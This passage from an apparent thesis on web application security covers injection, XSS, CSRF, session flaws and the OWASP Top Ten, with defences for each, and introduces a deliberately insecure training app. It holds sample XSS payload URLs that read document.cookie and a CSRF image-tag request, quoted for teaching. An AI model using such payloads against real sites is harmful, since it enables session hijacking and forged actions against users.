Simple Mail Transfer Protocol (SMTP) is the protocol used for sending emails between servers (Sauer & Lee 2010c). It is common to see the SMTP protocol being used in web applications with mail servers where the site allows the user to submit a message, e.g. to give feedback or get help by the support team. SMTP injection becomes possible when a user can submit any message strings without filtering/sanitation rules. Spammers often use these SMTP flaws to send out large numbers of emails. (Stuttard 2008, pp.321-322)

The attack can be avoided by validating every piece of information given by the user. The email address needs to be checked in any “From:” address field of the application. Newline characters should not be allowed here since these can be used to include Cc and Bcc and enable spamming. The subject header and the message body should also be validated. (Stuttard 2008, pp.322-326)

2.11.8. LDAP Injection

The Lightweight Directory Access Protocol (LDAP) is commonly found in a web application of a company’s intranet for the look-up of employees’ names, functions and email addresses. The protocol can access directory services over a network and is often seen in HR applications. (Stuttard 2008, p.326)

The LDAP injection may appear where user input is taken to form an LDAP statement. This occurs when user data has not been properly sanitized. The attack can be performed while using a local proxy in which an opponent can change the LDAP statement. As the LDAP injection attack generally works in the same way as the SQL injection attack, similar techniques can be used to exploit LDAP as for SQL. (OWASP: LDAP Injection 2009)

The attack can be prevented by avoiding user-supplied data in LDAP queries; when it is necessary to include, the exploit can be avoided by performing strict input validation on user data. Preferably, a white list containing acceptable query characters can be used that only allows characters of alphanumeric type where signs such as () | = & , ; and * are removed. A query containing any other characters than the ones given in the white list should not be sanitized but rejected all together. (Stuttard 2008, p.330)

2.11.9. Cross-Site Scripting (XSS)

Any cross-site scripting attack has a main target: the user. The attack is often abbreviated as XSS and can be found in a wide span of different web applications. It is a common vulnerability that even affects security-critical sites such as online banks. The gravity of XSS has been discussed as some security experts see it as a less serious attack. In one sense, this is true as XSS flaws many times are easy to find but can in most cases not help an attacker to compromise a system. However, XSS flaws can often be combined together with other attacks to achieve greater damage. XSS can in the worst case be transformed to a virus or a worm. (Stuttard 2008, pp.376-377)
The exploit can occur when the attacker is able to use an application to send malicious code to a user who visits the site. The injected code normally consists of some browser side script. The attack will be possible to perform wherever the application lacks proper validation/encoding of user input. (OWASP: XSS 2010)

2.11.10. XSS: Reflected

The reflected XSS vulnerability, which is sometimes called first-order XSS, stands for 75% of all XSS flaws found in contemporary web applications. (Stuttard 2008, p.379)

In a reflected cross-site scripting attack, injected code is reflected back to the victim from the web server in e.g. a search result or an error message. This is possible when an attacker manages to deliver the vulnerable code in some way to the victim without having it seem suspicious. If the attacker can make the user click a malicious link or submit a form created by the attacker, the exploit can be performed. As the injected code is reflected back to the victim from the server, the browser will execute the code since it trusts the response from the server hosting the site. (OWASP: XSS 2010)

![Reflected XSS attack scenario](image)

An overview of the reflected XSS attack can be seen in Figure 2.9 where the session ID of a legitimate user is captured by an attacker. Since the attacker wants the session ID of the victim that is used by the vulnerable application, he must feed the crafted URL to the user that will be reflected back by the application’s server. He cannot simply feed any URL containing arbitrary malicious code to the user as browsers do not let just any script access the site’s cookie. This is thanks to the same origin policy; the policy is meant to prevent different sites accessed by the browser to interfere with each other. Only the site that issued the cookie has access to it apart from the JavaScript loaded by or contained within the site’s page. The XSS vulnerability is able to succeed since the browser trusts the response from the server although it contains the attackers malicious script. (Stuttard 2008, pp.379-381)

A problem with the reflected XSS attack is that the user needs to click on some link to enable the attack. Firstly, since the URL actually contains the name of the site the user trusts, the attack is more likely to be successful than a common phishing attack. The URL itself can also be URL-encoded to obfuscate some suspicious looking strings
that it may contain. In a given situation, an administrator could be sent an email that looks like it is coming from a known user who complains about a certain URL that causes an error. The email could be made convincing so that the administrator will fall for the scam and give the attacker access to the admin session token. Even in a situation when HTTPS is used, the attacker’s URL will work since it is delivered by the HTTP response of the server. (Stuttard 2008, pp.382-399)

2.11.11. XSS: Stored

The attack scenario of stored XSS is similar to the one previously described of the reflected XSS exploit. However, in this case, the injected code can be permanently stored on the target server such as in a comment field, message forum or guestbook. The malicious code is typically stored in a database as all messages of the forum are retained here. The malicious script can then execute when the victim is accessing the forum. (OWASP: XSS 2010) The attack scenario of stored XSS is depicted in Figure 2.10 where again the aim is to get the user’s session ID (Stuttard 2008, p.379).

![Image of Stored XSS attack scenario]

Figure 2.10 Stored XSS attack scenario

The stored XSS attack has a major benefit over the reflected attack: the user does not need to visit the attacker’s URL for the exploit to work. The attacker only needs to wait until a victim visits the compromised page, which is commonly a part of the site that the user would visit on a regular basis. If an attacker wants to accomplish a more severe attack from an XSS flaw, the user should be logged in and/or using the application while the exploit is performed where e.g. a current user session can be hijacked. In the reflected XSS scenario, the attacker often needs to persuade the user into logging in while this is normally not necessary for a stored XSS attack. In this case, the user is already visiting the vulnerable page when the attack occurs. (Stuttard 2008, p.385)

In 2005, a stored XSS attack was found in MySpace, the social networking site. The application did have filters to prevent users from adding JavaScript into their own pages. However, one user named Samy managed to circumvent the filters and add some script to his profile. Whenever another member of MySpace viewed Samy’s profile, the script was executed in the user’s browser. The script first added Samy as a friend to the user and secondly pasted the script to the user’s own profile page which allowed it to replicate like a worm. The script used Ajax techniques to enable the described steps of
the attack. As a result, MySpace had to take their site offline to remove the script and fix the filter defect. (Stuttard 2008, pp.388-389)

2.11.12. XSS: DOM-based

A third variation of cross-site scripting is the DOM-based XSS flaw, which is sometimes called “type-0 XSS”. The DOM-based XSS vulnerability differs from reflected and stored XSS where malicious code is placed in the response from the server to the target. The DOM-based XSS allows the malicious code given by the attacker to execute since the DOM environment in the target’s browser has been modified. This allows the victim’s code to run in an unexpected way. The HTTP response coming from the server back to the user is not changed; however, the page code for the victim will, thanks to the malicious changes made in the DOM environment, execute in a different manner. To give an example, one can image a page that allows a user to set the preferred language that the site will be displayed in, which could have the given JavaScript (OWASP: DOM based XSS 2009):

```html
Select your language: 
<select>
  <script>
    document.write("<OPTION value=1>"+
      document.location.href.substring(document.location.href.indexOf("default=")+
      8)+"</OPTION>"; 
    document.write("<OPTION value=2>English</OPTION>";
  </script>
</select>
```

The following URL invokes the page, which can be changed into the second URL (OWASP: DOM based XSS 2009):

http://www.some.site/page.html?default=French

http://www.some.site/page.html?default=<script>alert(document.cookie)</script>
</script>

The second URL is sent to the victim. If the user clicks the link, a request for the code after the parameter `default` will be sent to the server that responds with a page that holds the script. As the victim’s page now contains a document.location-object made by the browser holding the attack script, the malicious code can be executed. The actual HTTP response from the server does not contain the malicious code. The script only appears at the client-side script at runtime. This is when the page’s original script can access the document.location-variable and displays the result without seeing that the variable might be malicious. (OWASP: DOM based XSS 2009)

For browsers that URL-encode characters like `<` into “%3C”, the above attack will not work. Mozilla performs URL-encoding while older versions of Internet Explorer such as version 6.0 does not do this. In any case, there are attacks that do not have to use signs like `<` or `>`, which means that Mozilla still could be vulnerable to DOM-based XSS exploits. (Klein 2005)

Since the attack payload was sent to the server in an HTTP request, the server could have checked and sanitized the incoming variable to avoid the attack. If a web application has this kind of protection, there are ways to circumvent server-side detection. An attack may use the given link (Klein 2005):

http://www.some.site/page.html#name=<script>alert(document.cookie)</script>
This will inform the browser that everything after the # sign should be considered as a fragment that is not a part of the query. As browsers like Internet Explorer 6.0 and Mozilla never sends the actual fragment to the server, the payload could never get discovered/sanitized. (Klein 2005)

The general attack scenario is given in Figure 2.11 (Stuttard 2008, p.387).

![Figure 2.11 DOM-based XSS scenario](image)

Figure 2.11 DOM-based XSS scenario

To defend against the DOM-based XSS attack, scripts can be used to make sure that only alphanumeric characters have been written to the HTML page. One can also try to avoid using user data for document rewriting/redirection at the client-side and be extra focused on security where a DOM object is modified. (Klein 2005)

### 2.11.13. Cross-Site Tracing (XST)

A Cross-site tracing vulnerability can be found in the situation when an application already has some sort of XSS flaw. The attack works together with the XSS insecurity in the case where the server uses HTTP TRACE. The TRACE function is often enabled by default for many web servers and is used for debugging. (OWASP: XST 2009)

Where a TRACE request can be issued by a client-side JavaScript and later view the response to the request, the code can access HttpOnly flagged cookies without the use of document.cookie. The XST exploit needs to use an already found XSS flaw on the target page in order for the malicious script to first be injected. (Stuttard 2008, p.422)

### 2.11.14. Session Fixation

The attack first got its name in 2002 in a published paper where it is described as an exploit where the attacker is able to select a session ID for the victim. The attack is similar to session hijacking but differs from it in the way that it does not have to capture or guess another users session ID. (Scambray 2006, pp.184-185) Session fixation can be performed as depicted in Figure 2.12 (Stuttard 2008, p.451).
For the exploit to be successful, the attacker must somehow feed its session token to the user. This makes the session fixation less appealing unless the attacker can think of a way to send the token to the victim without being suspicious. If the application uses URLs to transmit the session token, the victim can be sent a URL including the session ID. In this case, the attacker needs to log in to the application at the same time as the user with the same session token before the session expires or is discarded when the user logs out. (Scambray 2006, p.185)

If the session ID is transmitted through HTTP cookies or hidden HTML form fields and not via the URL, the attacker needs to set these values of the victim’s browser. This can be done if an XSS vulnerability or a header injection is found in the application. (Stuttard 2008, pp.451-452)

Session fixation can be found in applications that do not have any login interface. For example, when an online web shop is letting a user add items to a basket and later pay for these, a session ID is used. The attacker can then fix a session token to the target’s browser, wait for the user to make the purchase and be able to view sensitive information from the user-provided details. (Stuttard 2008, pp.451-452)

According to Scambray, session fixation can easily be stopped by setting the application to generate new session tokens for each login. Another way of avoiding the attack is to never accept session tokens provided by the client. One should also make sure that sessions are timed out properly with an absolute session expiration date. (Scambray 2006, p.185) When an application needs to take further security measures such as an online bank, per-page tokens can be used in addition to the main session token (Stuttard 2008, p.454). A new token is then issued whenever the user navigates to another page of the application. The new page token is validated against an old token value where the session is terminated if the values do not match. (Stuttard 2008, p.211)

2.11.15. Broken Authentication

Broken authentication is often connected to session management since session tokens often are used for logging in a user to a specific service. The pair is described as the third most common web application insecurity by OWASP’s Top Ten list as of 2010. The vulnerabilities can arise in an application that does not handle timeouts properly
where a user who did not click the logout button might still be logged in for hours on a public computer allowing others to see his account. (OWASP Top Ten 2010)

Although often connected to sessions, broken authentication is an area on its own and also one of the core mechanisms of any common website. If authentication is not managed properly, it can give an attacker full control of the application’s functionality including sensitive data. It is often the weakest link of web applications that can give the attacker a direct link to website content for some user. (Stuttard 2008, chap.6)

There can be various reasons for a broken authentication mechanism in a web application. Some of the common ones are bad passwords, the ability to brute-force a login page, verbose login-failure messages, insecure delivery of credentials, weak recovery or change of password functions and “remember me” functionality. To give an example, there are “remember me” functions that use persistent cookies, which is trusted by the login page and starts a session for the user in the application. This behavior can be exploited by an attacker who will try to use or modify the persistent cookie in order to login to other accounts. (Stuttard 2008, chap.6)

To create a secure authentication mechanism, a site should enforce strong passwords to be chosen. It should also deal with user credentials in a safe manner, which can be done by the help of SSL and/or SHA to hash passwords for secure storage; transmission of credentials should always use POST requests and never GET. Furthermore, credentials should be validated accurately and login-attempts restricted to avoid brute-force attacks. The account recovery/change password function should make sure that only the account owner can reset/change his password. (Stuttard 2008, chap.6)

2.11.16. Broken Session Management

Session management is closely related to the login authentication mechanism. In a case where the application has taken all precautions to make sure that no bad passwords are used and that each user account only has a limited number of attempts to login, there can still be ways to access another person’s account. If the session is not handled properly, it does not matter how secure the other features of the authentication are. The attacker can simply hijack the user’s session without knowing the credentials for the target account. (Stuttard 2008, p.175)

As conventional HTML pages do not pass information between each other, the data that the user entered or selected on one page is not remembered when the user navigates to another page (Tizag Tutorials 2008). Furthermore, the HTTP protocol is practically stateless and only performs requests and responses as it has no clue which requests that belong to a specific user. Sessions make it possible for a web site to provide e.g. a shopping cart to the user that selects items over various pages to later pay for the selected products. Login pages also use sessions where the visitor can use the personalized application pages without having to submit his/her username and password when visiting a different page within the authenticated area. The most common way of achieving a user session is to give each account owner a unique session ID that can identify the visitor when logging in. Other possibilities are to use HTTP-based authentication with HTTP headers or sessionless state. However, most applications do use the session token. (Stuttard 2008, pp.176-179)

Usually, the session token is passed from the server to the client via HTTP cookies in a HTTP response from the application in the Set-Cookie response header. The user’s browser then subsequently responds with a HTTP request where the HTTP header Cookie is set to the same value as was issued by the server. (Stuttard 2008, pp.176-179) Instead of having the session ID stored at the client in a cookie it is also possible for the token to be transferred via the URL, which can mean a greater security risk for replay attacks of unauthorized users (Adobe 2010).
Weaknesses in session tokens are often found in either the generation of the token or in the way the site deals with the session ID throughout its lifecycle. Tokens are often created on the basis of a username and email address or other information connected to the account such as the IP address of the client or a date/time stamp in some structured way. The token may also be encoded with XOR, Base64 or by a hexadecimal representation of ASCII characters. If an attacker can decode the token, it may be possible to login with the obtained information of the session ID. Furthermore, all of the values in the token might not be processed by the application, which can be established by removing parts of the token and trying to reconnect to the application. If the login was still successful, the attacker only needs to decode the part that is actually used by the application. Another problem of the generation of session IDs is how some tokens may be predictable due to time dependencies, sequences or weak number generation. A scripted attack can be made of a busy application to capture and analyze other users’ tokens. If some sort of pattern is found by an automated brute force attack, valid values for session tokens can be found and exploited. (Stuttard 2008, chap.7)

A lack of security when dealing with the session ID may be just as bad as weak session token generation. If the token is transmitted over the network unencrypted, eavesdroppers can capture the token and use it to masquerade as a legitimate user. Even when HTTPS is used, a site might still be vulnerable if the secure flag was not specified when setting the cookie, which only enables transfers over a secure channel such as with SSL. If the flag is not set, the session token can be sent in plaintext over HTTP. Additionally, session IDs can sometimes be found in system logs accessed by helpdesk workers or administrators. For the token to be safe, access to the system logs need to be restricted, which often is not the case according to the author. (Stuttard 2008, chap.7)

2.11.17. Insecure Direct Object References
This type of vulnerability can be found in an application that allows the user to specify a direct reference to some restricted resource. For example, an application that offers customers some personal service by logging them in and displaying their account information can be compromised if the login process is not dealt with correctly. If the application only checks the correctness of a user-supplied account number, the request URL might look like the following (OWASP Top Ten 2010):

http://example.com/app/accountInfo?acct=345678

In this way, a malicious user can easily change the URL to a different account number and access another person’s details. To avoid the described scenario, a code review can reveal if the application holds any insecure direct object references. Any restricted resource should have access controls appropriate to the given service that will check if the user really is authorized to view the page. (OWASP Top Ten 2010)

2.11.18. Cross-Site Request Forgery (CSRF)
Cross-site request forgery or CSRF also go under the names XSRF, Sea Surf, Session Riding and Hostile Linking. (OWASP: CSRF 2010) One can describe CSRF as being the opposite of XSS. As XSS takes advantage of the trust a user has in a certain site, CSRF uses the trust a website has in a user. (Digital Venues 2007) The attack can be used where HTTP GET or POST requests are called to perform some action on behalf of the application. Normally, HTTP GET is an easier exploit vector than POST, although both options are possible to use in the attack. (Burns 2007, p.2)

The exploit can be described as follows. A web application that allows users to send messages to each other is the target for the CSRF attack. The site is using HTTPS to
prevent eavesdropping of messages, session IDs and credentials. It also has filters to prevent XSS attacks where any HTML tags are blocked. The form below is used by the application that enables users to send messages (Burns 2007, pp.2-3):

```html
<form action="MessageSender" method="GET">
  Send To:<br>
  <INPUT type="radio" name="Destination" value="Bob">Bob<br>
  <INPUT type="radio" name="Destination" value="Alice">Alice<br>
  <INPUT type="radio" name="Destination" value="Malory">Malory<br>
  <INPUT type="radio" name="Destination" value="All">All<br>
  Message: <input type="text" name="Message" value="" /><br>
  <input type="submit" name="Send" value="Send Message" />
</form>
```

For the application to send the message “Hi Alice” to Alice, a URL will be fetched when the Send Message button has been clicked that will look like (Burns 2007, p.3):

```
https://site.com/MessageSender?Destination=Alice&Message=Hi+Alice&Send=Send+Message
```

Imagine that the user simultaneously visits a site owned by an attacker while being logged in to the above described application. The attacker’s site contains a link hidden in an image-tag like the following (Burns 2007, pp.3-4):

```
<img src = "https://site.com/MessageSender?Destination=Alice&Message=Hi+Alice&Send=Send+Message" />
```

This would allow the victim’s browser to fetch the link, which could be executed by the application. Alice would receive a message although the actual user did not send her anything (Burns 2007, p.3). A similar scenario could apply in other, more security-critical situations. In 2004, a CSRF vulnerability was found in eBay where a URL could be created that made an arbitrary bid on an auction item. The attack was executed by the help of a third-party website that the user was visiting at the same time as eBay. (Stuttard 2008, p.443) Another attack was possible to make against Amazon in 2007 where the exploit could cause users to buy items selected by the attacker without their knowledge (Shiflett 2007).

A CSRF flaw may arise in any application where session tokens can be misused that can happen when the token is transferred with the help of HTTP cookies. Whenever a website has set a cookie for a visitor, the user’s browser will use that same cookie in subsequent requests automatically. This will be the case no matter if the request is made by a link from the application page itself or from a URL that was sent from another location, e.g. another website or email message. (Stuttard 2008, p.443)

To avoid CSRF flaws, a site should avoid relying only on HTTP cookies for transmitting session IDs. Online banks with higher security demand are often transmitting their session tokens through hidden HTML form-fields. For each request, not only the session cookies but also the cookies from the hidden fields are validated. Furthermore, if a site relies on the HTTP Referer header to see if a request was made on-site or off-site, there is still a possibility of an attack. Since the Referer header can be spoofed, the attacker may be able to masquerade himself as another legitimate user and gain unauthorized access even with an HTTP Referer header in place. (Stuttard 2008, pp.444-445)
2.11.19. Security Misconfiguration

Secure configuration is the responsibility of the site administrator. If the correct adjustments are not made, a misconfiguration flaw can arise. (WASC 2007) A typical example of when this flaw occurs is when admin consoles of a server still have the default accounts enabled. An attacker can then easily log in with the use of a default password. Another situation arises when directory listings are enabled on a server and the attacker is able to locate any file through this method. If the compiled Java classes can be found on the server, the attacker can reverse engineer the files and get the source code of the web application. When the source code is examined, the attacker can learn how the application works and potentially find a security weakness in the code that can be exploited. A third risk scenario can appear when the web application is using a known framework that is generally trusted. If the hacker community discovers a flaw within the framework, it is important to get the latest update of the framework that has fixed the issue. If not, the application can be exploited as the vulnerability is well known by attackers. (OWASP Top Ten 2010)

To avoid these kinds of attacks, every company should have a process in which software for the operating system, DBMS, server and other applications are kept up to date. The company should also have a process for making sure that services, privileges, ports, pages and accounts are disabled if not needed. Where a certain admin account is used, the default password should be changed into a strong one. Informative error messages should further be removed to prevent information leakage. If the application is using a framework such as ASP.NET there are often security settings that can be used within the framework to make the application more secure. It is important that the developer understands how the configuration is used so that the application really is as secure as the programmer likes to think. As an additional safety precaution, a scan or security audit will tell if the application contains any flaws. (OWASP Top Ten 2010)

2.11.20. Insecure Cryptographic Storage

Sensitive data such as credit card information should be encrypted for the data to remain private. This means that a strong encryption algorithm must be used together with a strong key that is delivered by secure key exchange. (OWASP Top Ten 2010)

An example of insecure storage of encrypted data is when health records are stored on a backup tape. If the encryption key also is located on the same backup tape and the tape is never given to the backup centre, the records may be decrypted by anyone who uses the key. Another example is when a password-file contains hashed passwords that have not been salted. If the file can be accessed by an attacker who can exploit some other security flaw of the application, the attacker is able to brute force the unsalted hashes in 4 weeks. In comparison, properly salted hashes could have taken 3 000 years to brute force. (Ibid.) The use of salt for passwords enables the password length to be longer by a factor of 4096 and thereby increases the difficulty of brute forcing while the user does not have to remember any additional characters to the password. Salt will further prevent two users that chose the same password to have the same hash value in a database since the salt was generated at different times. (Stallings 2007, p.316)

Research has been able to show that MD5 hashes are not as secure as previously thought to be, as different messages have been seen to generate the same MD5 digest. (Sotirov et al. 2008) The difficulty of finding two messages that will give the same hash is in the order of $2^{64}$ operations while the same figure for another hash function SHA-1 is $2^{69}$ operations. (Stallings 2007, pp.67-71) Additionally, if an attacker has access to a password-file where short passwords are used, there are online MD5 hash crackers that stores commonly hashed strings, which can be unhashed and given to the attacker. The same can be done for SHA-1, which shows the advantage of prompting users to choose
more secure passwords. (Sotirov et al. 2008) The method to find the original strings of hashed passwords uses rainbow tables, which makes the cracking process feasible. (Distributed Rainbow Table Project 2010)

2.11.21. Failure to Restrict URL Access
Unauthorized access to URL pages is possible when a page does not check the user’s access rights properly. Some developers might hide certain buttons and links from ordinary users and only display them to administrators. However, if an ordinary user is able to find the URL to an admin page, he/she might be able to access the page anyway by simply knowing or guessing the URL. (OWASP Top Ten 2010)

The best way to avoid this flaw is to go over every page of the application and decide if it is public or private. If private, the page should require some form of authentication and sometimes also check if the user has the right kind of authentication for sites with different levels of access rights. (OWASP Top Ten 2010)

2.11.22. Insufficient Transport Layer Protection
A lot of insecurities are caused by code errors made by the programmer; however, insufficient transport layer protection is one security flaw caused by poor administration such as the lack of access controls. (WASC 2007)

Insufficient transport layer protection occurs when a site does not use SSL for all pages that deal with authentication of the user. In this case, an opponent is able to monitor the network traffic and view sensitive information such as an authorized user’s session cookie that can be replayed and used to take over the session of the victim. Even when a site is using SSL, this type of vulnerability can still occur. A site that has configured its SSL certificates incorrectly will lead to warnings being presented to the site’s users by their browsers. As the visitors get used to accept the warnings to view the site content, a phishing attack is more likely to be successful to lure the site’s customers into visiting a lookalike page with the same invalid certificates. The phishing attack can then succeddingly collect sensitive information. (OWASP Top Ten 2010)

The reason for configuration mistakes of transport layer protection is a lack of understanding of the details in SSL. A design decision must be made to determine whether virtual private network (VPN) or SSL/Transport Layer Security (TLS) is the best method for the company. A VPN solution might suit better in a situation where two collaborating companies means shared access to a specific server over a variation of protocols. On the other hand an SSL/TLS solution may be better for an enterprise web application facing the Internet. Some rules to follow when using SSL/TLS is in a safe manner is that all authentication pages including the login page should be exclusively accessed over TLS; otherwise, the login form could be modified by an attacker that could send the credentials of a victim to another location. Other rules to follow are to use the secure flag for HTTP cookies and to avoid mixing TLS and non-TLS content. (OWASP Cheat Sheet 2010)

2.11.23. Unvalidated Redirects/Forwards
This vulnerability is placed on the OWASP Top Ten list at position 10. The attack is successful in a scenario when the page performs a redirect that accepts user-supplied input as a parameter for the redirection URL. Another situation similar to the previous uses the logic of a page that forwards the visitor to a certain page, for example, when a payment has been made. The user is often forwarded to a page, which contains details of the purchase. When access control has not been restricted properly, an attacker might be able to craft a URL that will forward him to a restricted area of an admin page that he otherwise would be unable to access. (OWASP Top Ten 2010)

There are many tools that can be used for web hacking. The most basic one is the web browser with which you can defeat the logic of a poorly secured site or attack an SQL injection flaw. Moreover, the URL can be exploited as its text string actually is a pointer to executable code. GET and POST are two HTTP methods that are used to send information to/from the server. Both of them can be viewed and modified with an intercepting proxy tool. Cookies made to store application authentication/session tokens can also be modified in order to access another user’s account. (Scambray 2006, pp.5,7)

A description of some common hacking tools for web applications is given in Table 2.2.

<table>
<thead>
<tr>
<th>Tools</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>WebScarab</td>
<td>A framework for analyzing/modifying HTTP/HTTPS communication when used as an intercepting proxy. Some contained tools are WebServices, Spider and Transcoding. (OWASP: WebScarab 2010)</td>
</tr>
<tr>
<td>Burp Suite 1.3.03</td>
<td>A platform used when making various attacks on websites where support for SSL certificates are included. Some tools in the suite are target, proxy, spider, intruder and decoder. (Stuttard 2010)</td>
</tr>
<tr>
<td>TamperData 11.0.1</td>
<td>A Firefox add-on for viewing/modifying HTTP/HTTPS headers and post parameters. HTTP requests and responses can also be traced and timed with this tool. (Judson 2010)</td>
</tr>
<tr>
<td>LiveHTTPHeaders 0.16</td>
<td>Another Firefox add-on for viewing HTTP headers. Enables editing of requests where the URL can be replayed. (Savard 2010)</td>
</tr>
<tr>
<td>Metasploit 3.4.1</td>
<td>An open source framework for penetration testing that enables exploit code execution of the target. (Rapid7 2010)</td>
</tr>
<tr>
<td>Firebug 1.5.4</td>
<td>A Firefox add-on that can inspect and modify HTML, JavaScript and CSS in real time. Debugging and layout management in a visual environment are two other features. (Hewitt 2010)</td>
</tr>
<tr>
<td>Tcpmon 1.1</td>
<td>An open source development for monitoring the data on a TCP connection as it is located between the client and server. (Singh 2010)</td>
</tr>
<tr>
<td>Netcat 0.7.1</td>
<td>A command line tool distributed under GNU GPL (General Public License). (Giacobbi 2006) It resembles the UNIX cat utility used to display file contents and can perform various network hacking tasks. (Scambray 2006, p.23)</td>
</tr>
<tr>
<td>Backtrack 4</td>
<td>A collection of security tools in areas such as network, web application, VoIP and reverse engineering. Available in UNIX directly or for Windows as a LiveCD/LiveUSB.</td>
</tr>
</tbody>
</table>
WFuzz 1.4c
A brute force tool that can be used in GET/POST parameters when searching for injection flaws or in username/password guessing. (Edge-Security 2008)

Table 2.2 A summary of common web hacking tools

2.13. OWASP WebGoat Project
The OWASP WebGoat Project is a J2EE web application with security deficiencies that has been put in the project on purpose in order to teach the user about a certain exploit common in web applications. The project is maintained by OWASP and contains security lessons in topics such as injection flaws, buffer overflows and cross-site scripting. The aim of WebGoat is to provide a safe environment for security testing that can be performed legally. Since it is developed in Java, WebGoat can be used on any platform that has the Java virtual machine. As of this writing, the latest version is OWASP WebGoat v5.3. (OWASP WebGoat 2010)

2.14. OWASP Top Ten Project
The Top Ten Project of OWASP was first released in 2003 to raise awareness of common vulnerabilities often found in web applications. The list was updated in 2004 and 2007; as of 2010, a new release was published. The documentation is recommended for companies that want to start applying security for their web applications. The full list is given in Table 2.3. (OWASP Top Ten 2010, pp.2-6)

<table>
<thead>
<tr>
<th>OWASP Top Ten 2010</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1. Injection</td>
<td>Occurs when malicious data is passed in a query to an interpreter that can execute an attacker’s command. Some examples are SQL, OS and LDAP Injection.</td>
</tr>
<tr>
<td>A2. Cross-Site Scripting (XSS)</td>
<td>Enables hijacking of user sessions, redirection of users to an attacker’s site or plain website defacement. The exploit can take place when untrusted data is received/sent by an application to a browser without input validation.</td>
</tr>
<tr>
<td>A3. Broken Authentication/Session Management</td>
<td>Authentication and session functions of an application can often be implemented incorrectly, making it possible for an attacker to impersonate other users through compromised passwords, keys or session tokens.</td>
</tr>
<tr>
<td>A4. Insecure Direct Object References</td>
<td>An object to an internal directory, file or database key can be exposed through a reference left in the code by a developer. If the reference is left unprotected, it can be used maliciously to gain access to sensitive data.</td>
</tr>
<tr>
<td>A5. Cross-Site Request Forgery (CSRF)</td>
<td>A forged HTTP request is sent by a logged-on user’s browser to an insecure website; the actual request is feed to the user by an attacker. Both the site and the user are</td>
</tr>
</tbody>
</table>
unaware of the action as the site trusts the user’s request.

<table>
<thead>
<tr>
<th>A6. Security Misconfiguration</th>
<th>Misconfiguration of platform, application, or database can exist when security in each layer has not been defined, implemented or maintained. This may happen when the software is not updated or when default settings are kept.</th>
</tr>
</thead>
<tbody>
<tr>
<td>A7. Insecure Cryptographic Storage</td>
<td>Sensitive data such as social security numbers (SSN) needs hashing/encryption. This is not always implemented and could lead to stolen identities or credit card fraud.</td>
</tr>
<tr>
<td>A8. Failure to Restrict URL Access</td>
<td>URLs often need to be examined by access control checks every time a private page is requested. If not, the URL can be forged and accessed anyway.</td>
</tr>
<tr>
<td>A9. Insufficient Transport Layer Protection</td>
<td>Failure of encryption and authentication of the network traffic will affect its confidentiality and integrity. Some common reasons for this is the use of weak encryption algorithms, incorrect usage or expired certificates.</td>
</tr>
<tr>
<td>A10. Unvalidated Redirects and Forwards</td>
<td>When a website forwards a user to another page, care must be taken that the redirect is not altered and takes the user to a malicious site. In the worst case, malware could be installed or a phishing attack performed on the client.</td>
</tr>
</tbody>
</table>

Table 2.3 OWASP Top Ten Project Listing
3. Design

This chapter describes the overall design of the practical work of this degree project. As the developed web application is mainly produced for demonstration purposes, a software requirements specification or use case diagrams were not made. Instead the aim lies on the exploitation of the various vulnerabilities in the application. However, this chapter gives the reader a brief, general view of the application.

3.1. The Pen Code Tester, an Overview

The Pen Code Tester is a deliberately insecure web application used for testing purposes. It consists of vulnerable code in various areas that all can be found in the navigation menu. The vulnerabilities are taken from the OWASP Top Ten Project, which is described in the left menu of the application where five of these have been exemplified. These are the most common security vulnerabilities in web applications today as of 2010 and can be exploited right on the site of the Pen Code Tester with the help of various tools or manual inspection.

3.1.1. Layout

The design structure of the Pen Code Tester is created with CSS sheets and HTML div-tags to give the application its clean outline where focus lies on the main content area of the page in which the various exploits take place. To give each content page the look and feel of a real web application rather than a simple demo, care has been taken to make all scenarios appear authentic when possible. For example, the page dealing with cross-site request forgery contains an online second hand retailer shop where users can sell and make bids on the displayed items. In one sense, the page is real. However, the thought when developing it was to make the page as unsecure as possible to the cross-site request forgery flaws, which hardly would be the case in a real life scenario.

The design of the Pen Code Tester is mainly developed for Firefox, which is the recommended browser to use for viewing the site. Additionally, both Safari and Google Chrome have been used to display the page with a good result.

Figure 3.1 shows home.php, which will first be displayed to the logged-in user.

3.1.2. Navigation

Navigation in the Pen Code Tester is made by using the top menu just below the header to move from one section to another. For pages with subsections, a drop-down menu
can be used to navigate to the desired area. This is depicted in Figure 3.2 where the user is choosing between visiting one of the injection pages.

3.1.3. Technologies
Apart from HTML and CSS, the Pen Code Tester has been made entirely in the PHP language, version 5.3.1 on Apache/2.2.14. The database tables used in all examples are created in MySQL 5.1.45. The application server glassfish 3.0.1 with the Metro Web Services Stack is also used for the SOAP injection part of the application. The entire project was made on a MacBook Pro 2.53 GHz Intel Core 2 Duo processor with Mac OS X version 10.6.4.

3.1.4. Diagram
The site diagram in Figure 3.3 has been drawn in Visual Vocabulary style following the principles of Jesse James Garrett who created the system for websites in 2000 (Garrett 2003, pp.107-108). The page stack depicted for injection.php and xss.php both shows a group of functionally identical pages gathered near the same location in the web application (Garrett 2002).
Figure 3.3 Site diagram of the Pen Code Tester
4. Result

This chapter presents the result of the implementation of the project were five of the ten highest ranked vulnerabilities, following the OWASP Top Ten Project’s listing, has been examined. A vulnerable platform named the Pen Code Tester has been developed that can be exploited for demo’s and training purposes.

A background of the OWASP community as well as their Top Ten Project has been given in the theory section (chapter 2). The illustrated vulnerabilities are divided into subsections in the order that they are ranked by the OWASP’s Top Ten listing; this is also the order of the Pen Code Tester. Each page of the application contains a deliberately insecure illustration of the given vulnerability that is ready to be exploited by various tools, automated and manual attacks.

4.1. Injection

The pages related to injection of the Pen Code Tester are SQL, OS, SOAP and Code injection and are described in turn below.

4.1.1. SQL Injection

As of PHP 4, the method used for making a query to the database mysql_query() does not accept batched queries where multiple statements are allowed, which prevents some of the common SQL injection attacks (php.net 2010c). For example, it is not possible to end the query given by the developer with a semicolon to then start a completely new query such as DROP TABLE in an attack. A general view of default support for batched queries in various DBMS connectors are given in Table 4.1 (Damele 2009, p.8).

<table>
<thead>
<tr>
<th>Database</th>
<th>ASP</th>
<th>ASP.NET</th>
<th>PHP</th>
</tr>
</thead>
<tbody>
<tr>
<td>MySQL</td>
<td>No</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>PostgreSQL</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Microsoft SQL Server</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
